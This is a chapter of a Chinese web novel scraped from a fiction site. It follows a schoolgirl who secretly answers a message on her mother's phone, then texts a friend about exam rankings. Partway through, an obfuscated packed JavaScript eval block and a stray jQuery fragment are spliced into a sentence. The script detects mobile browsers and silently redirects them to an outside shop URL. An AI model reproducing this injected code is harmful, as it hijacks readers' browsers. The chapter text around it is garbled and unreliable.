文趣网 > 都市小说 > 纸和笔加好天气 > 9. 第 9 章
    上午和赵小棉在图书馆做作业,她被物理题气到,一定要点最辣的爆炒牛蛙解气。

    吃饭中途,我跟她说起上午做作业休息间隙随手翻看的一本书,里面提到人生不能避免的三件事是pain,uncertainty和constantwork.

    晚上她在我家隔着厕所门反驳我,说人生不可避免的三件事明明是做死难死难的物理题,气到吃爆辣的牛蛙和来我家拉肚子两小时。

    ——节选自初希日记

    --

    赵北棉一早回了家,初希起床后下楼买当天的菜。

    她顺便拿上了一箱牛奶的空纸箱和两本用完的草稿本,小区里的一位老奶奶每天都会在附近几栋楼蹲守,就为了捡几个塑料瓶或者废纸箱卖钱用。

    老奶奶牙齿快掉光了,说话时露出一颗光秃秃的门牙,初希把纸箱和本子交给她,怕老奶奶听不清刻意把耳朵凑近了些,初希便更大声了点:“我家还有个塑料油瓶,但油还没吃完,明天早上我把瓶子放到3栋大门门口,你到时候来拿就行。”

    初希伸出手指比了个“3”,又指指三栋的方向。

    因为是周末,小区外已经热闹非凡。

    这里是人群密集的居民区,老式小区接二连三地挨着,几乎分不出缝来。

    出了小区大门,街道一边是铺面,另一边便是沿街摆摊的小贩,每天早上,瓜果、蔬菜、活鱼挨挨挤挤地从街头摆到街尾,到了中午日头高照才会陆陆续续收摊,这些大都是自家种的,农药打得少,卖的不仅比超市的新鲜,还更便宜。

    初希买了两个西红柿,中午做了份番茄炒鸡蛋,还炒了盘青菜,等赵锦淑回家吃饭。

    赵锦淑今天只上半天班,回来的时候已经下午两点出头了,初希正在阳台收衣服,听见开门声她回过头。

    初希一手抱着刚收下来的衣服,一手举着晾衣杆,问:“饭好了,冰箱里还有半个橙子,你吃不吃,我去给你拿。”

    “我待会自己去拿。”赵锦淑没在入门处换鞋,先挪去沙发上坐着脱掉了鞋子。

    她的工作不仅要站,有的时候还要去储物间找货,储物间东西放得密集,空间还小,人进去只能弓着腰,翻找起来几乎是趴跪着。

    赵锦淑的白色袜子磨破了,脚后跟掉了一层皮,周围洇出浅浅的血痕。

    初希正抱着收好的衣服过来,她把衣服放到沙发上,去药盒里拿出两片创可贴递给赵锦淑。

    赵锦淑撕开创可贴,听见初希边叠衣服边说:“我看了一下店面,好一点的地段一年租金大概四五万,我们不租那么大的,只租一层,不带阁楼,但最好有个隔间能做饭,这样中午不用跑来跑去,租金四万以内肯定能行,如果签得长,还能再便宜点。”

    夏天的衣服单薄,初希提着T恤的两肩一抖,袖子往里一折再对折,一件衣服就叠好了。

    她伸手抚平米白色T恤上的褶皱,轻声说:“用学校给的那笔钱先租着吧。”

    赵锦淑换上凉拖去卫生间洗手,笑说:“钱是学校发给你的,我哪敢花。”

    “我的就是你的呀。”初希停下手里的动作,望着她。

    赵锦淑见她一脸认真的样子,笑着回归正经:“我这还有,租金你不用操心。”

    说到这里她想起来:“其实还有一笔钱......”

    不经思考脱口而出的话赵锦淑本可以在这时止住,不过思忖了片刻,她偏头去看初希的神色,还是试探性地问,“不知道你还记不记得,你爸......”

    “妈妈。”初希打断了赵锦淑的话,她别过脸,没回答这个问题,“不够的话用我卡里的吧。”

    赵锦淑适时打住:“够了够了,哪能真用你的。”

    屋里一时太安静,只有初希叠衣服发出的摩擦声,赵锦淑开玩笑地问:“不过如果我真要用你的,你要收利息吗?”

    初希将她和赵锦淑的衣服分成两叠,挤出一个笑:“我不做亏本买卖,至少要按活期的利息付我。”

    “好哇你,不会还让我写欠条吧?”

    “那当然了,要还的。”初希语气轻快,把自己的那摞衣服抱进卧室的衣柜。

    吃完饭初希把电视打开了,坐在沙发上跟赵锦淑提了一句成绩的事。

    赵锦淑吃着切开的半个橙子:“2好啊,进可攻,退可守。”

    电影频道放起了广告,赵锦淑换了个台:“我以前也考过第二,那时候伤心死了,现在回想起来真是没必要。”

    赵锦淑低头看她的神情:“你不伤心吧?”

    初希笑着摇摇头,露出白白的牙齿:“这点小事有什么好伤心的。”

    跟人生里有些事比起来,这简直雁过不留痕,要是伤心的话太浪费感情了。

    “我还不如伤心刚才吃橙子没拿稳掉了一半在地上。”

    “哦?”赵锦淑哈哈笑了两声,故意做出一副没想到的样子,“那你比我强多了嘛。”

    她把吃完的橙子皮扔进垃圾桶,用纸巾擦了擦嘴,去卫生间洗手。

    初希脱了鞋,双脚踩在沙发沿上,下巴抵在膝盖上看电视。

    赵锦淑的手机就放在茶几上,她刚发完微信消息还没有锁屏,正要熄屏的刹那,手机新跳出一条消息,暗下去的屏幕又蓦地亮起。

    一明一暗的闪烁吸引了初希的注意,微信界面的消息一览无余,是赵锦淑和乔芦的聊天页面。

    赵锦淑:【你现在也挺好的,教育局的工作多稳定,真去了北京说不定没这么顺利。】

    乔芦:【我就是后悔我听了我妈的,当时没再坚持一下。】

    乔芦:【如果你当时上大学,你是不是会去北京?】

    赵锦淑:【可我没上呀,我和你说过的。】

    乔芦:【我不信,我感觉你在骗我。】

    乔芦:【别开玩笑了行不行?】

    不知道是赵锦淑刚才和她在说话所以没看手机,还是压根不想回复故意忽略掉了,对话在这里断掉。

    过了两分钟,乔芦问:【我能不能问一下,你为什么没上?】

    然后就是紧接着最新的那条:【不好意思,如果你不愿意说的话就当我没问,如果有什么需要帮忙的,也可以告诉我。】

    初希看了一眼卫生间的方向,这个角度只能看见赵锦淑的侧影,她短袖袖口被洗得变形,形成一个花边的形状。

    赵锦淑有些扁平足,站立走路都比普通人更吃力,腿部膝盖也有些内扣,小腿因经常站立而肌肉肿大,显得黑色外裤的那个位置有些紧绷。

    这不该是赵锦淑的人生,初希想。

    失之毫厘谬以千里的道理,原来读懂了会是这么遗憾。

    她紧紧盯着手机上那条未回复的消息,起心动念的那刻心怦怦直跳。

    她竖起耳朵,听见水龙头水流的声音,然后赵锦淑含了一口吐掉,最后响起牙刷和牙齿摩擦出泡沫的声音。

    ——赵锦淑有饭后刷牙的习惯,那么至少还有三分钟。

    初希拿起手机,明明心跳如鼓,血液上涌,脑子却异常沉静。

    她打字飞快:【我不想说,以后也不要再问我这个话题。不用帮忙。】

    初希手指一点,消息发出时网络不好,左侧出现转圈延迟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699972|208117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的标志。

    她屏气凝神,抬睫看了眼卫生间,肩膀肌肉都不自觉绷紧了。

    好在不过三秒恢复正常,消息彻底发出。

    她轻轻吐出一口气,可这一瞬间初希又忽然觉得不妥。

    这句话太强硬,多少有些不礼貌,她不应该以赵锦淑的名义发这条消息,她应该站在赵锦淑的前面。

    赵锦淑不会这么对人说话,初希也不会。

    但是赵锦淑的女儿初希会。

    初希手指按上撤回键,可对方比她预想中已读的速度更快,回复的消息毫无延迟地蹦出:【对不起啊,我以后绝对绝对不会再提了,我其实没有恶意的,真的对不起。】

    初希便作罢。

    卫生间响起赵锦淑吐泡沫漱口的声音,她行云流水地将这几条消息全部删除,在赵锦淑出来时,借用手臂遮挡假意去拿遥控器把手机放回原位。

    大概是心虚,兜里手机震动了两下时,初希还吓了一跳。

    她掏出来,看见赵北棉给自己发的消息:【不行,我还是决定充值69元解锁你关注的ta.】

    昨晚她们躺在一起睡觉,夜谈时赵北棉和她认真分析了一下班上第一可能的人选,最后选出了两个。

    第一是方斯蕊,因为赵北棉觉得她长得好看,周身很有学霸的气质。

    第二是江楫舟,赵北棉更偏向于押宝后者,理由是他选课代表很积极,郑一柄也说他是其他市转过来的大神,晚上考完他也是轻松地将卷子一交,背起书包第一个走掉了。

    赵北棉觉得自己平时已经够松弛了,那些和她保持着差不多年级排名的哪个不是学得哼哧哼哧的,但她偏不,保持着悠哉游哉的样子。

    初中班主任曾经敲打她时说,但凡她有初希一半努力早超过初希了,赵北棉过后很生气,私下评价为少挑拨她们的感情。

    她都这么佛系了,开学考还是给她一记重创,没想到竟然还能有人比她还淡定,赵北棉反倒淡定不起来了。

    不过她真实理由是不能接受江楫舟长得帅心态好还成绩好,这简直就是王炸。

    赵北棉在黑暗中捂着嘴笑得花枝乱颤:“我只能接受你家彧闻哥哥是王炸,再出现一个我怕你做对不起他的事。”

    初希:“......”

    初希:【你有这个钱不如发给我。】

    赵北棉:【我也很穷的,但实在是这个app太会拿捏人了。】

    赵北棉:【你真的就不关心会不会出现个周彧闻二号?】

    赵北棉:【快,在江楫舟和方斯蕊之间押一个,姐有钱,姐要充值了!】

    初希:【我押徐则安。】

    赵北棉:【不可能是他。第一,他当了你两年的手下败仗,绝无翻身的可能。第二,帅哥美女的PK哪是凡人能参赛的。】

    尽管初希一直劝说赵北棉,让她不要花这个冤枉钱,再忍一忍,等明天周一就能见分晓。

    但赵北棉铁了心似的,九头牛都拉不回来。

    她一直催促,初希犹豫了好半天,硬着头皮选:【那就方斯蕊。】

    赵北棉:【好。】

    对面安静了几秒钟,忽地发来一句:【我丢?】

    钱都花了,初希也很好奇结果:【是第一吗?】

    赵北棉:【不是,是第四。】

    赵北棉:【!!!】

    赵北棉:【说明了什么,说明江楫舟是第一!!!】

    赵北棉:【完了完了,帅哥不可怕,有脑子的帅哥就太可怕了!!!】

    赵北棉:【初小希你一定要把持住,不要重蹈覆辙啊啊啊啊!!!】